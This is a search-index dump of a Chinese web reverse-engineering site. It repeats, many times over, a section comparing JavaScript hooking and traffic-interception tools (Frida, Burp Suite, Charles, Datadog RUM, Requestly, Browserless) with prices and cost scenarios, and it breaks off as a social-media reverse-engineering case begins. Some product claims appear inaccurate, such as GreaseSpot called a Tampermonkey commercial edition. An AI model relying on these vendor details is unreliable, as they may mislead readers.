企业优势: 强大的漏洞扫描 完整的测试报告 团队协作功能 专业技术支持 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#frida开源企业级可用"},{"categories":null,"collections":null,"content":"1. 专业动态分析工具 Frida（开源，企业级可用） 定位: 最流行的动态插桩框架 核心优势: 支持 JavaScript/Python/Swift 等多语言 跨平台（iOS/Android/Windows/macOS/Linux） 活跃的社区和丰富的脚本库 企业可免费使用 应用场景: 移动应用逆向 Web 应用动态分析 恶意软件分析 安全研究 GitHub: https://github.com/frida/frida 学习成本: 中等 企业使用: ✅ 完全免费 ✅ 无使用限制 ✅ 可商业化 ❌ 需要技术团队维护 Charles Proxy（商业网络调试工具） 定位: HTTP/HTTPS 抓包和调试 功能: SSL 证书中间人拦截 请求/响应修改 断点和重放 流量限速模拟 价格: 个人许可: $50（一次性） 商业许可: $100+ 优势: 图形化界面，易用性强 稳定可靠 跨平台支持 劣势: 仅限网络层 Hook 无法 Hook JavaScript 函数 官网: https://www.charlesproxy.com/ 适用: 网络层分析、API 调试 Burp Suite Professional 定位: Web 安全测试专业工具 核心功能: HTTP/HTTPS 代理拦截 扫描器（主动/被动） Intruder（自动化攻击） Repeater（请求重放） Burp 扩展：支持 JavaScript Hook 插件 价格: Professional: $449/年 Enterprise: $3,999/年+ JavaScript Hook 集成: // 使用 Burp Extension: JS Link // 可在Burp中直接注入Hook脚本 官网: https://portswigger.net/burp 企业优势: 强大的漏洞扫描 完整的测试报告 团队协作功能 专业技术支持 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#charles-proxy商业网络调试工具"},{"categories":null,"collections":null,"content":"1. 专业动态分析工具 Frida（开源，企业级可用） 定位: 最流行的动态插桩框架 核心优势: 支持 JavaScript/Python/Swift 等多语言 跨平台（iOS/Android/Windows/macOS/Linux） 活跃的社区和丰富的脚本库 企业可免费使用 应用场景: 移动应用逆向 Web 应用动态分析 恶意软件分析 安全研究 GitHub: https://github.com/frida/frida 学习成本: 中等 企业使用: ✅ 完全免费 ✅ 无使用限制 ✅ 可商业化 ❌ 需要技术团队维护 Charles Proxy（商业网络调试工具） 定位: HTTP/HTTPS 抓包和调试 功能: SSL 证书中间人拦截 请求/响应修改 断点和重放 流量限速模拟 价格: 个人许可: $50（一次性） 商业许可: $100+ 优势: 图形化界面，易用性强 稳定可靠 跨平台支持 劣势: 仅限网络层 Hook 无法 Hook JavaScript 函数 官网: https://www.charlesproxy.com/ 适用: 网络层分析、API 调试 Burp Suite Professional 定位: Web 安全测试专业工具 核心功能: HTTP/HTTPS 代理拦截 扫描器（主动/被动） Intruder（自动化攻击） Repeater（请求重放） Burp 扩展：支持 JavaScript Hook 插件 价格: Professional: $449/年 Enterprise: $3,999/年+ JavaScript Hook 集成: // 使用 Burp Extension: JS Link // 可在Burp中直接注入Hook脚本 官网: https://portswigger.net/burp 企业优势: 强大的漏洞扫描 完整的测试报告 团队协作功能 专业技术支持 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#burp-suite-professional"},{"categories":null,"collections":null,"content":"2. 浏览器自动化 Hook 平台 Sauce Labs Real Device Cloud 功能: 真实设备和浏览器云测试 自动化 Hook 脚本注入 实时交互调试 视频录制和日志 定价: Live Testing: $39/月起 Automated Testing: $199/月起 Enterprise: 定制化 适用: 跨浏览器 Hook 测试 移动端 JavaScript 调试 CI/CD 集成 官网: https://saucelabs.com/ LambdaTest 功能: 3000+浏览器和操作系统组合 自动化测试和手动调试 集成开发者工具 定价: Live: $15/月起 Automation: $99/月起 相比 Sauce Labs 更便宜 官网: https://www.lambdatest.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#2-浏览器自动化-hook-平台"},{"categories":null,"collections":null,"content":"2. 浏览器自动化 Hook 平台 Sauce Labs Real Device Cloud 功能: 真实设备和浏览器云测试 自动化 Hook 脚本注入 实时交互调试 视频录制和日志 定价: Live Testing: $39/月起 Automated Testing: $199/月起 Enterprise: 定制化 适用: 跨浏览器 Hook 测试 移动端 JavaScript 调试 CI/CD 集成 官网: https://saucelabs.com/ LambdaTest 功能: 3000+浏览器和操作系统组合 自动化测试和手动调试 集成开发者工具 定价: Live: $15/月起 Automation: $99/月起 相比 Sauce Labs 更便宜 官网: https://www.lambdatest.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#sauce-labs-real-device-cloud"},{"categories":null,"collections":null,"content":"2. 浏览器自动化 Hook 平台 Sauce Labs Real Device Cloud 功能: 真实设备和浏览器云测试 自动化 Hook 脚本注入 实时交互调试 视频录制和日志 定价: Live Testing: $39/月起 Automated Testing: $199/月起 Enterprise: 定制化 适用: 跨浏览器 Hook 测试 移动端 JavaScript 调试 CI/CD 集成 官网: https://saucelabs.com/ LambdaTest 功能: 3000+浏览器和操作系统组合 自动化测试和手动调试 集成开发者工具 定价: Live: $15/月起 Automation: $99/月起 相比 Sauce Labs 更便宜 官网: https://www.lambdatest.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#lambdatest"},{"categories":null,"collections":null,"content":"3. 企业级应用监控（APM）集成 Hook Datadog RUM（Real User Monitoring） 功能: 前端性能监控 JavaScript 错误追踪 自定义 Hook 注入 用户行为分析 技术实现: // Datadog 自动注入 Hook import { datadogRum } from \"@datadog/browser-rum\"; datadogRum.init({ applicationId: \"\u003cYOUR_APP_ID\u003e\", clientToken: \"\u003cYOUR_CLIENT_TOKEN\u003e\", // 自动Hook XHR/Fetch trackInteractions: true, trackFrustrations: true, }); 价格: $0.90/1000 sessions 起 官网: https://www.datadoghq.com/ 企业价值: 生产环境 Hook + 监控一体化 New Relic Browser 功能: 浏览器性能监控 JavaScript 错误 Hook AJAX 请求自动追踪 Session Trace 价格: $75/月起 官网: https://newrelic.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#3-企业级应用监控apm集成-hook"},{"categories":null,"collections":null,"content":"3. 企业级应用监控（APM）集成 Hook Datadog RUM（Real User Monitoring） 功能: 前端性能监控 JavaScript 错误追踪 自定义 Hook 注入 用户行为分析 技术实现: // Datadog 自动注入 Hook import { datadogRum } from \"@datadog/browser-rum\"; datadogRum.init({ applicationId: \"\", clientToken: \"\", // 自动Hook XHR/Fetch trackInteractions: true, trackFrustrations: true, }); 价格: $0.90/1000 sessions 起 官网: https://www.datadoghq.com/ 企业价值: 生产环境 Hook + 监控一体化 New Relic Browser 功能: 浏览器性能监控 JavaScript 错误 Hook AJAX 请求自动追踪 Session Trace 价格: $75/月起 官网: https://newrelic.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#datadog-rumreal-user-monitoring"},{"categories":null,"collections":null,"content":"3. 企业级应用监控（APM）集成 Hook Datadog RUM（Real User Monitoring） 功能: 前端性能监控 JavaScript 错误追踪 自定义 Hook 注入 用户行为分析 技术实现: // Datadog 自动注入 Hook import { datadogRum } from \"@datadog/browser-rum\"; datadogRum.init({ applicationId: \"\", clientToken: \"\", // 自动Hook XHR/Fetch trackInteractions: true, trackFrustrations: true, }); 价格: $0.90/1000 sessions 起 官网: https://www.datadoghq.com/ 企业价值: 生产环境 Hook + 监控一体化 New Relic Browser 功能: 浏览器性能监控 JavaScript 错误 Hook AJAX 请求自动追踪 Session Trace 价格: $75/月起 官网: https://newrelic.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#new-relic-browser"},{"categories":null,"collections":null,"content":"4. 商业 Hook 脚本库和平台 GreaseSpot（Tampermonkey 商业版） 类型: 用户脚本管理器（免费+商业支持） 企业功能: 脚本签名和安全审计 企业脚本库管理 部署自动化 价格: 个人免费 企业支持: 定制化定价 官网: https://www.greasespot.net/ Requestly（企业级请求修改） 功能: HTTP 请求拦截和修改 JavaScript 注入 Header 修改 Mock API 定价: Free: 基础功能 Professional: $12/月 Team: $25/月/用户 Enterprise: 定制化 独特优势: 云端规则同步 团队协作 规则市场 官网: https://requestly.io/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:4","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#4-商业-hook-脚本库和平台"},{"categories":null,"collections":null,"content":"4. 商业 Hook 脚本库和平台 GreaseSpot（Tampermonkey 商业版） 类型: 用户脚本管理器（免费+商业支持） 企业功能: 脚本签名和安全审计 企业脚本库管理 部署自动化 价格: 个人免费 企业支持: 定制化定价 官网: https://www.greasespot.net/ Requestly（企业级请求修改） 功能: HTTP 请求拦截和修改 JavaScript 注入 Header 修改 Mock API 定价: Free: 基础功能 Professional: $12/月 Team: $25/月/用户 Enterprise: 定制化 独特优势: 云端规则同步 团队协作 规则市场 官网: https://requestly.io/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:4","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#greasespottampermonkey-商业版"},{"categories":null,"collections":null,"content":"4. 商业 Hook 脚本库和平台 GreaseSpot（Tampermonkey 商业版） 类型: 用户脚本管理器（免费+商业支持） 企业功能: 脚本签名和安全审计 企业脚本库管理 部署自动化 价格: 个人免费 企业支持: 定制化定价 官网: https://www.greasespot.net/ Requestly（企业级请求修改） 功能: HTTP 请求拦截和修改 JavaScript 注入 Header 修改 Mock API 定价: Free: 基础功能 Professional: $12/月 Team: $25/月/用户 Enterprise: 定制化 独特优势: 云端规则同步 团队协作 规则市场 官网: https://requestly.io/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:4","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#requestly企业级请求修改"},{"categories":null,"collections":null,"content":"5. 动态分析即服务（DaaS） Zimperium zScan（移动应用安全） 功能: 自动化 JavaScript Hook 运行时威胁检测 API 安全分析 行为分析 适用: iOS/Android 应用安全测试 价格: 企业定价（$10,000+/年） 官网: https://www.zimperium.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:5","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#5-动态分析即服务daas"},{"categories":null,"collections":null,"content":"5. 动态分析即服务（DaaS） Zimperium zScan（移动应用安全） 功能: 自动化 JavaScript Hook 运行时威胁检测 API 安全分析 行为分析 适用: iOS/Android 应用安全测试 价格: 企业定价（$10,000+/年） 官网: https://www.zimperium.com/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:5","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#zimperium-zscan移动应用安全"},{"categories":null,"collections":null,"content":"6. 成本效益对比 场景 1: 个人学习/研究 推荐方案: Chrome DevTools（免费） 手写 Hook 脚本 Tampermonkey（免费） 总成本: $0 场景 2: 小团队 Web 逆向项目 推荐方案: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） 自定义 Hook 脚本库 总成本: ~$500 第一年，$449 后续/年 ROI: 专业工具节省时间，提高效率 场景 3: 企业安全团队 推荐方案: Burp Suite Enterprise（$3,999/年） Datadog RUM（$1,000+/月，生产监控） 专业咨询服务（按需） 总成本: $15,000-50,000/年 企业价值: 合规审计报告 24/7 技术支持 团队协作功能 生产环境监控 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:6","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#6-成本效益对比"},{"categories":null,"collections":null,"content":"6. 成本效益对比 场景 1: 个人学习/研究 推荐方案: Chrome DevTools（免费） 手写 Hook 脚本 Tampermonkey（免费） 总成本: $0 场景 2: 小团队 Web 逆向项目 推荐方案: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） 自定义 Hook 脚本库 总成本: ~$500 第一年，$449 后续/年 ROI: 专业工具节省时间，提高效率 场景 3: 企业安全团队 推荐方案: Burp Suite Enterprise（$3,999/年） Datadog RUM（$1,000+/月，生产监控） 专业咨询服务（按需） 总成本: $15,000-50,000/年 企业价值: 合规审计报告 24/7 技术支持 团队协作功能 生产环境监控 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:6","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#场景-1-个人学习研究"},{"categories":null,"collections":null,"content":"6. 成本效益对比 场景 1: 个人学习/研究 推荐方案: Chrome DevTools（免费） 手写 Hook 脚本 Tampermonkey（免费） 总成本: $0 场景 2: 小团队 Web 逆向项目 推荐方案: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） 自定义 Hook 脚本库 总成本: ~$500 第一年，$449 后续/年 ROI: 专业工具节省时间，提高效率 场景 3: 企业安全团队 推荐方案: Burp Suite Enterprise（$3,999/年） Datadog RUM（$1,000+/月，生产监控） 专业咨询服务（按需） 总成本: $15,000-50,000/年 企业价值: 合规审计报告 24/7 技术支持 团队协作功能 生产环境监控 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:6","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#场景-2-小团队-web-逆向项目"},{"categories":null,"collections":null,"content":"6. 成本效益对比 场景 1: 个人学习/研究 推荐方案: Chrome DevTools（免费） 手写 Hook 脚本 Tampermonkey（免费） 总成本: $0 场景 2: 小团队 Web 逆向项目 推荐方案: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） 自定义 Hook 脚本库 总成本: ~$500 第一年，$449 后续/年 ROI: 专业工具节省时间，提高效率 场景 3: 企业安全团队 推荐方案: Burp Suite Enterprise（$3,999/年） Datadog RUM（$1,000+/月，生产监控） 专业咨询服务（按需） 总成本: $15,000-50,000/年 企业价值: 合规审计报告 24/7 技术支持 团队协作功能 生产环境监控 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:6","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#场景-3-企业安全团队"},{"categories":null,"collections":null,"content":"7. 开源 vs 商业决策矩阵 因素 推荐开源 推荐商业 预算 \u003c $1,000/年 \u003e $5,000/年 团队规模 \u003c 3 人 \u003e 5 人 项目类型 一次性逆向 持续安全测试 技术能力 高（能自己写脚本） 中低（需要 GUI 工具） 合规要求 无 需要审计报告 支持需求 社区就够 需要商业支持 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:7","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#7-开源-vs-商业决策矩阵"},{"categories":null,"collections":null,"content":"8. 云端 Hook 服务（新兴） Browserless.io Hook Support 功能: 云端浏览器 Hook 注入 无需本地环境 API 调用方式 示例: const response = await fetch(\"https://chrome.browserless.io/function\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ code: ` // Hook代码 const original = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function(...args) { console.log('Hooked:', args); return original.apply(this, args); }; `, context: { url: \"https://example.com\", }, }), }); 价格: $29-299/月（见 automation_scripts.md） ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:8","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#8-云端-hook-服务新兴"},{"categories":null,"collections":null,"content":"8. 云端 Hook 服务（新兴） Browserless.io Hook Support 功能: 云端浏览器 Hook 注入 无需本地环境 API 调用方式 示例: const response = await fetch(\"https://chrome.browserless.io/function\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ code: ` // Hook代码 const original = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function(...args) { console.log('Hooked:', args); return original.apply(this, args); }; `, context: { url: \"https://example.com\", }, }), }); 价格: $29-299/月（见 automation_scripts.md） ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:8","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#browserlessio-hook-support"},{"categories":null,"collections":null,"content":"9. AI 辅助 Hook 开发 GitHub Copilot for Security 功能: 自动生成 Hook 脚本 安全漏洞检测 代码补全 价格: $100/年（个人） 示例 Prompt: // Prompt: Write a hook for XMLHttpRequest that logs all requests // Copilot 自动生成完整Hook代码 ChatGPT/Claude 辅助 应用: 解释复杂 Hook 逻辑 生成定制化 Hook 脚本 调试 Hook 代码 成本: $20/月（ChatGPT Plus）或按需 API 调用 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:9","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#9-ai-辅助-hook-开发"},{"categories":null,"collections":null,"content":"9. AI 辅助 Hook 开发 GitHub Copilot for Security 功能: 自动生成 Hook 脚本 安全漏洞检测 代码补全 价格: $100/年（个人） 示例 Prompt: // Prompt: Write a hook for XMLHttpRequest that logs all requests // Copilot 自动生成完整Hook代码 ChatGPT/Claude 辅助 应用: 解释复杂 Hook 逻辑 生成定制化 Hook 脚本 调试 Hook 代码 成本: $20/月（ChatGPT Plus）或按需 API 调用 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:9","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#github-copilot-for-security"},{"categories":null,"collections":null,"content":"9. AI 辅助 Hook 开发 GitHub Copilot for Security 功能: 自动生成 Hook 脚本 安全漏洞检测 代码补全 价格: $100/年（个人） 示例 Prompt: // Prompt: Write a hook for XMLHttpRequest that logs all requests // Copilot 自动生成完整Hook代码 ChatGPT/Claude 辅助 应用: 解释复杂 Hook 逻辑 生成定制化 Hook 脚本 调试 Hook 代码 成本: $20/月（ChatGPT Plus）或按需 API 调用 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:9","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#chatgptclaude-辅助"},{"categories":null,"collections":null,"content":"10. 实战工具链推荐 初学者（$0 成本） 工具组合: Chrome DevTools（免费） Tampermonkey（免费） 本文档的 Hook 脚本库 能力: 基础 Hook 网络请求监控 Cookie/Storage 操作 专业人士（\u003c $1,000/年） 工具组合: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） GitHub Copilot（$100/年） Requestly Pro（$144/年） 总成本: ~$750/年 能力提升: 企业级拦截和修改 自动化 Hook 生成 团队协作 企业团队（$10,000+/年） 工具组合: Burp Suite Enterprise（$3,999/年） Datadog RUM（$12,000/年） 专业培训和咨询（按需） 自建 Hook 平台（开发成本） ROI 分析: 减少人工分析时间 60%+ 提供审计报告 生产环境实时监控 降低安全风险 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:10","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#10-实战工具链推荐"},{"categories":null,"collections":null,"content":"10. 实战工具链推荐 初学者（$0 成本） 工具组合: Chrome DevTools（免费） Tampermonkey（免费） 本文档的 Hook 脚本库 能力: 基础 Hook 网络请求监控 Cookie/Storage 操作 专业人士（\u003c $1,000/年） 工具组合: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） GitHub Copilot（$100/年） Requestly Pro（$144/年） 总成本: ~$750/年 能力提升: 企业级拦截和修改 自动化 Hook 生成 团队协作 企业团队（$10,000+/年） 工具组合: Burp Suite Enterprise（$3,999/年） Datadog RUM（$12,000/年） 专业培训和咨询（按需） 自建 Hook 平台（开发成本） ROI 分析: 减少人工分析时间 60%+ 提供审计报告 生产环境实时监控 降低安全风险 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:10","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#初学者0-成本"},{"categories":null,"collections":null,"content":"10. 实战工具链推荐 初学者（$0 成本） 工具组合: Chrome DevTools（免费） Tampermonkey（免费） 本文档的 Hook 脚本库 能力: 基础 Hook 网络请求监控 Cookie/Storage 操作 专业人士（\u003c $1,000/年） 工具组合: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） GitHub Copilot（$100/年） Requestly Pro（$144/年） 总成本: ~$750/年 能力提升: 企业级拦截和修改 自动化 Hook 生成 团队协作 企业团队（$10,000+/年） 工具组合: Burp Suite Enterprise（$3,999/年） Datadog RUM（$12,000/年） 专业培训和咨询（按需） 自建 Hook 平台（开发成本） ROI 分析: 减少人工分析时间 60%+ 提供审计报告 生产环境实时监控 降低安全风险 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:10","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#专业人士-1000年"},{"categories":null,"collections":null,"content":"10. 实战工具链推荐 初学者（$0 成本） 工具组合: Chrome DevTools（免费） Tampermonkey（免费） 本文档的 Hook 脚本库 能力: 基础 Hook 网络请求监控 Cookie/Storage 操作 专业人士（\u003c $1,000/年） 工具组合: Burp Suite Professional（$449/年） Charles Proxy（$50 一次性） GitHub Copilot（$100/年） Requestly Pro（$144/年） 总成本: ~$750/年 能力提升: 企业级拦截和修改 自动化 Hook 生成 团队协作 企业团队（$10,000+/年） 工具组合: Burp Suite Enterprise（$3,999/年） Datadog RUM（$12,000/年） 专业培训和咨询（按需） 自建 Hook 平台（开发成本） ROI 分析: 减少人工分析时间 60%+ 提供审计报告 生产环境实时监控 降低安全风险 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:10","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#企业团队10000年"},{"categories":null,"collections":null,"content":"11. 行业案例参考 金融行业（高合规要求） 方案: Burp Suite Enterprise Datadog APM 内部审计系统集成 成本: $50,000/年 收益: 满足 PCI DSS 合规要求 安全公司（专业服务） 方案: Burp Suite + Frida 自研 Hook 框架 多语言支持 成本: $5,000/年（工具）+ 开发成本 收益: 可对外提供专业服务 电商平台（业务监控） 方案: New Relic Browser 自定义 Hook 监控关键业务流程 成本: $15,000/年 收益: 提升用户体验，降低流失率 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:11","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#11-行业案例参考"},{"categories":null,"collections":null,"content":"11. 行业案例参考 金融行业（高合规要求） 方案: Burp Suite Enterprise Datadog APM 内部审计系统集成 成本: $50,000/年 收益: 满足 PCI DSS 合规要求 安全公司（专业服务） 方案: Burp Suite + Frida 自研 Hook 框架 多语言支持 成本: $5,000/年（工具）+ 开发成本 收益: 可对外提供专业服务 电商平台（业务监控） 方案: New Relic Browser 自定义 Hook 监控关键业务流程 成本: $15,000/年 收益: 提升用户体验，降低流失率 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:11","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#金融行业高合规要求"},{"categories":null,"collections":null,"content":"11. 行业案例参考 金融行业（高合规要求） 方案: Burp Suite Enterprise Datadog APM 内部审计系统集成 成本: $50,000/年 收益: 满足 PCI DSS 合规要求 安全公司（专业服务） 方案: Burp Suite + Frida 自研 Hook 框架 多语言支持 成本: $5,000/年（工具）+ 开发成本 收益: 可对外提供专业服务 电商平台（业务监控） 方案: New Relic Browser 自定义 Hook 监控关键业务流程 成本: $15,000/年 收益: 提升用户体验，降低流失率 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:11","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#安全公司专业服务"},{"categories":null,"collections":null,"content":"11. 行业案例参考 金融行业（高合规要求） 方案: Burp Suite Enterprise Datadog APM 内部审计系统集成 成本: $50,000/年 收益: 满足 PCI DSS 合规要求 安全公司（专业服务） 方案: Burp Suite + Frida 自研 Hook 框架 多语言支持 成本: $5,000/年（工具）+ 开发成本 收益: 可对外提供专业服务 电商平台（业务监控） 方案: New Relic Browser 自定义 Hook 监控关键业务流程 成本: $15,000/年 收益: 提升用户体验，降低流失率 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:11","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#电商平台业务监控"},{"categories":null,"collections":null,"content":"相关章节 调试技巧与断点设置 JavaScript 反混淆 浏览器开发者工具 加密算法识别脚本 浏览器自动化脚本 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:20:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#相关章节"},{"categories":null,"collections":null,"content":"社交媒体逆向案例 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:0:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#社交媒体逆向案例"},{"categories":null,"collections":null,"content":"概述 社交媒体平台通常包含复杂的 API 调用、无限滚动加载、实时通信、内容推荐算法等。本文通过真实案例介绍社交媒体平台的逆向分析技巧。 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:1:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#概述"},{"categories":null,"collections":null,"content":"案例一：微博/Twitter 无限滚动分页 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:2:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#案例一微博twitter-无限滚动分页"},{"categories":null,"collections":null,"content":"背景 社交媒体的信息流通常采用无限滚动（Infinite 